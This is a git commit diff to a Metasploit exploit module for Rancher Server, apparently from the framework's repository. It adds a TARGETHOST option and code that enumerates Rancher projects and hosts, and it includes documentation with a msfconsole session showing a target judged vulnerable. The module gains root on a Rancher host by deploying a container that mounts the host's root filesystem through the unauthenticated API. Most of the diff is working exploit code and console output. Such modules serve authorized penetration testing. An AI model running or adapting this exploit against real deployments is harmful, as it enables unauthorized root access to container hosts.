Function for selecting the target host

bug/bundler_fix
Martin Pizala 2017-09-28 23:43:45 +02:00
parent cc98e80002
commit 40c58e3017
2 changed files with 23 additions and 2 deletions

View File

@ -84,6 +84,7 @@ This module is designed to gain root access on a Rancher Host.
- CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated. - CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated.
- DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit. - DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit.
- TARGETURI this is the Rancher Server API path. The default environment is `/v1/projects/1a5`. - TARGETURI this is the Rancher Server API path. The default environment is `/v1/projects/1a5`.
- TARGETHOST is the Rancher Host ID for the target system. The default host is `1h1`.
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start. - WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
By default access control is disabled, but if enabled, you need API By default access control is disabled, but if enabled, you need API
@ -112,6 +113,8 @@ LHOST => 192.168.91.1
msf exploit(rancher_server) > set VERBOSE true msf exploit(rancher_server) > set VERBOSE true
VERBOSE => true VERBOSE => true
msf exploit(rancher_server) > check msf exploit(rancher_server) > check
[+] TARGETHOST 1h1 found on TARGETURI /v1/projects/1a5
[*] 192.168.91.111:8080 The target appears to be vulnerable. [*] 192.168.91.111:8080 The target appears to be vulnerable.
msf exploit(rancher_server) > exploit msf exploit(rancher_server) > exploit

View File

@ -40,6 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
[ [
Opt::RPORT(8080), Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'Path to Rancher Environment', '/v1/projects/1a5' ]), OptString.new('TARGETURI', [ true, 'Path to Rancher Environment', '/v1/projects/1a5' ]),
OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]), OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]), OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like']), OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
@ -85,6 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote
'instanceTriggeredStop' => 'stop', 'instanceTriggeredStop' => 'stop',
'startOnCreate' => true, 'startOnCreate' => true,
'networkMode' => 'managed', 'networkMode' => 'managed',
'requestedHostId' => datastore['TARGETHOST'],
'type' => 'container', 'type' => 'container',
'dataVolumes' => [ '/:' + mnt_path ], 'dataVolumes' => [ '/:' + mnt_path ],
'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'], 'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'],
@ -97,7 +99,7 @@ class MetasploitModule < Msf::Exploit::Remote
def check def check
res = send_request_raw( res = send_request_raw(
'method' => 'GET', 'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'containers'), 'uri' => normalize_uri('/v1/projects'),
'headers' => { 'Accept' => 'application/json' } 'headers' => { 'Accept' => 'application/json' }
) )
@ -112,7 +114,23 @@ class MetasploitModule < Msf::Exploit::Remote
end end
if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version' if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version'
return Exploit::CheckCode::Appears # get all rancher environments
projects = JSON.parse(res.body)['data'].map{ |data| data['id'] }
# get all hosts from environments
target_found = false
projects.each do |project|
res = send_request_raw(
'method' => 'GET',
'uri' => normalize_uri('/v1/projects', project, 'hosts'),
'headers' => { 'Accept' => 'application/json' }
)
hosts = JSON.parse(res.body)['data'].map{ |data| data['id'] }
hosts.each do |host|
target_found = true
print_good ("TARGETHOST #{host} found on TARGETURI /v1/projects/#{project}")
end
end
return Exploit::CheckCode::Appears if target_found == true
end end
Exploit::CheckCode::Safe Exploit::CheckCode::Safe